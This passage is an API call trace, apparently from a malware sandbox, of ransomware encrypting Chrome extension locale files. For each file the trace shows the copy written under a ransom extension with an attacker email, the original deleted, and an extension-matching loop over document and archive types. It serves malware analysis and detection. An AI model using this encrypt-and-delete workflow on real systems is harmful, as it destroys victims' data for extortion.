HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\manifest.json") returned 139 [0171.777] lstrlenW (lpString=".zip") returned 4 [0171.777] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0171.777] lstrlenW (lpString=".rar") returned 4 [0171.777] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0171.777] lstrlenW (lpString=".bz2") returned 4 [0171.777] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0171.777] lstrlenW (lpString=".7z") returned 3 [0171.777] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0171.777] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\manifest.json") returned 139 [0171.777] lstrlenW (lpString=".dbf") returned 4 [0171.777] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0171.777] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\manifest.json") returned 139 [0171.777] lstrlenW (lpString=".1cd") returned 4 [0171.777] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0171.777] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\manifest.json") returned 139 [0171.777] lstrlenW (lpString=".jpg") returned 4 [0171.777] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0171.777] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0171.777] lstrlenW (lpString="messages.json") returned 13 [0171.777] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0171.778] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x2d2ff1c | out: lpFileSize=0x2d2ff1c*=257) returned 1 [0171.778] CloseHandle (hObject=0x1b4) returned 1 [0171.779] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar\\messages.json")) returned 0x2020 [0171.779] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0171.779] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0171.779] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0171.779] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0171.779] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0171.779] GetLastError () returned 0x0 [0171.779] ReadFile (in: hFile=0x1b4, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0x101, lpOverlapped=0x0) returned 1 [0171.783] WriteFile (in: hFile=0x198, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0x110, lpOverlapped=0x0) returned 1 [0171.784] ReadFile (in: hFile=0x1b4, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0x0, lpOverlapped=0x0) returned 1 [0171.784] WriteFile (in: hFile=0x198, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0xee, lpOverlapped=0x0) returned 1 [0171.784] SetEndOfFile (hFile=0x198) returned 1 [0171.784] CloseHandle (hObject=0x198) returned 1 [0171.784] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0171.784] SetEndOfFile (hFile=0x1b4) returned 1 [0171.785] CloseHandle (hObject=0x1b4) returned 1 [0171.785] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0171.785] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar\\messages.json")) returned 1 [0171.786] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar\\messages.json") returned 151 [0171.786] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar\\messages.json") returned 151 [0171.786] lstrlenW (lpString=".doc") returned 4 [0171.786] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0171.786] lstrlenW (lpString=".docx") returned 5 [0171.786] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0171.786] lstrlenW (lpString=".pdf") returned 4 [0171.786] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0171.786] lstrlenW (lpString=".xls") returned 4 [0171.786] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0171.786] lstrlenW (lpString=".xlsx") returned 5 [0171.786] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0171.786] lstrlenW (lpString=".ppt") returned 4 [0171.786] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0171.786] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar\\messages.json") returned 151 [0171.786] lstrlenW (lpString=".zip") returned 4 [0171.786] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0171.786] lstrlenW (lpString=".rar") returned 4 [0171.786] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0171.786] lstrlenW (lpString=".bz2") returned 4 [0171.786] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0171.786] lstrlenW (lpString=".7z") returned 3 [0171.786] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0171.786] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar\\messages.json") returned 151 [0171.786] lstrlenW (lpString=".dbf") returned 4 [0171.786] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0171.786] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar\\messages.json") returned 151 [0171.786] lstrlenW (lpString=".1cd") returned 4 [0171.786] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0171.787] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar\\messages.json") returned 151 [0171.787] lstrlenW (lpString=".jpg") returned 4 [0171.787] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0171.787] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar\\messages.json") returned 151 [0171.787] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar\\messages.json") returned 151 [0171.787] lstrlenW (lpString=".doc") returned 4 [0171.787] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0171.787] lstrlenW (lpString=".docx") returned 5 [0171.787] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0171.787] lstrlenW (lpString=".pdf") returned 4 [0171.787] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0171.787] lstrlenW (lpString=".xls") returned 4 [0171.787] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0171.787] lstrlenW (lpString=".xlsx") returned 5 [0171.787] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0171.787] lstrlenW (lpString=".ppt") returned 4 [0171.787] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0171.787] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar\\messages.json") returned 151 [0171.787] lstrlenW (lpString=".zip") returned 4 [0171.787] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0171.787] lstrlenW (lpString=".rar") returned 4 [0171.787] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0171.787] lstrlenW (lpString=".bz2") returned 4 [0171.787] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0171.787] lstrlenW (lpString=".7z") returned 3 [0171.787] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0171.787] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar\\messages.json") returned 151 [0171.787] lstrlenW (lpString=".dbf") returned 4 [0171.788] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0171.788] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar\\messages.json") returned 151 [0171.788] lstrlenW (lpString=".1cd") returned 4 [0171.788] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0171.788] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar\\messages.json") returned 151 [0171.788] lstrlenW (lpString=".jpg") returned 4 [0171.788] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0171.788] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0171.788] lstrlenW (lpString="messages.json") returned 13 [0171.788] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0171.788] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x2d2ff1c | out: lpFileSize=0x2d2ff1c*=272) returned 1 [0171.788] CloseHandle (hObject=0x1b4) returned 1 [0171.788] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg\\messages.json")) returned 0x2020 [0171.789] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0171.789] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0171.789] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0171.789] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0171.789] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0171.789] GetLastError () returned 0x0 [0171.789] ReadFile (in: hFile=0x1b4, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0x110, lpOverlapped=0x0) returned 1 [0171.790] WriteFile (in: hFile=0x198, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0x120, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0x120, lpOverlapped=0x0) returned 1 [0171.791] ReadFile (in: hFile=0x1b4, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0x0, lpOverlapped=0x0) returned 1 [0171.791] WriteFile (in: hFile=0x198, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0xee, lpOverlapped=0x0) returned 1 [0171.791] SetEndOfFile (hFile=0x198) returned 1 [0171.792] CloseHandle (hObject=0x198) returned 1 [0171.792] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0171.792] SetEndOfFile (hFile=0x1b4) returned 1 [0171.792] CloseHandle (hObject=0x1b4) returned 1 [0171.793] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0171.793] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg\\messages.json")) returned 1 [0171.793] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg\\messages.json") returned 151 [0171.793] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg\\messages.json") returned 151 [0171.793] lstrlenW (lpString=".doc") returned 4 [0171.793] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0171.793] lstrlenW (lpString=".docx") returned 5 [0171.793] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0171.793] lstrlenW (lpString=".pdf") returned 4 [0171.793] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0171.793] lstrlenW (lpString=".xls") returned 4 [0171.793] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0171.793] lstrlenW (lpString=".xlsx") returned 5 [0171.793] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0171.793] lstrlenW (lpString=".ppt") returned 4 [0171.793] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0171.793] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg\\messages.json") returned 151 [0171.793] lstrlenW (lpString=".zip") returned 4 [0171.793] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0171.794] lstrlenW (lpString=".rar") returned 4 [0171.794] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0171.794] lstrlenW (lpString=".bz2") returned 4 [0171.794] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0171.794] lstrlenW (lpString=".7z") returned 3 [0171.794] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0171.794] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg\\messages.json") returned 151 [0171.794] lstrlenW (lpString=".dbf") returned 4 [0171.794] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0171.794] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg\\messages.json") returned 151 [0171.794] lstrlenW (lpString=".1cd") returned 4 [0171.794] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0171.794] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg\\messages.json") returned 151 [0171.794] lstrlenW (lpString=".jpg") returned 4 [0171.794] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0171.794] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg\\messages.json") returned 151 [0171.794] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg\\messages.json") returned 151 [0171.794] lstrlenW (lpString=".doc") returned 4 [0171.794] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0171.794] lstrlenW (lpString=".docx") returned 5 [0171.794] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0171.794] lstrlenW (lpString=".pdf") returned 4 [0171.794] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0171.794] lstrlenW (lpString=".xls") returned 4 [0171.794] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0171.794] lstrlenW (lpString=".xlsx") returned 5 [0171.794] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0171.794] lstrlenW (lpString=".ppt") returned 4 [0171.794] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0171.794] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg\\messages.json") returned 151 [0171.795] lstrlenW (lpString=".zip") returned 4 [0171.795] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0171.795] lstrlenW (lpString=".rar") returned 4 [0171.795] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0171.795] lstrlenW (lpString=".bz2") returned 4 [0171.795] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0171.795] lstrlenW (lpString=".7z") returned 3 [0171.795] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0171.795] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg\\messages.json") returned 151 [0171.795] lstrlenW (lpString=".dbf") returned 4 [0171.795] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0171.795] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg\\messages.json") returned 151 [0171.795] lstrlenW (lpString=".1cd") returned 4 [0171.795] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0171.795] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg\\messages.json") returned 151 [0171.795] lstrlenW (lpString=".jpg") returned 4 [0171.795] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0171.795] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0171.795] lstrlenW (lpString="messages.json") returned 13 [0171.795] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0171.796] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x2d2ff1c | out: lpFileSize=0x2d2ff1c*=224) returned 1 [0171.796] CloseHandle (hObject=0x1b4) returned 1 [0171.796] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca\\messages.json")) returned 0x2020 [0171.796] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0171.796] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, 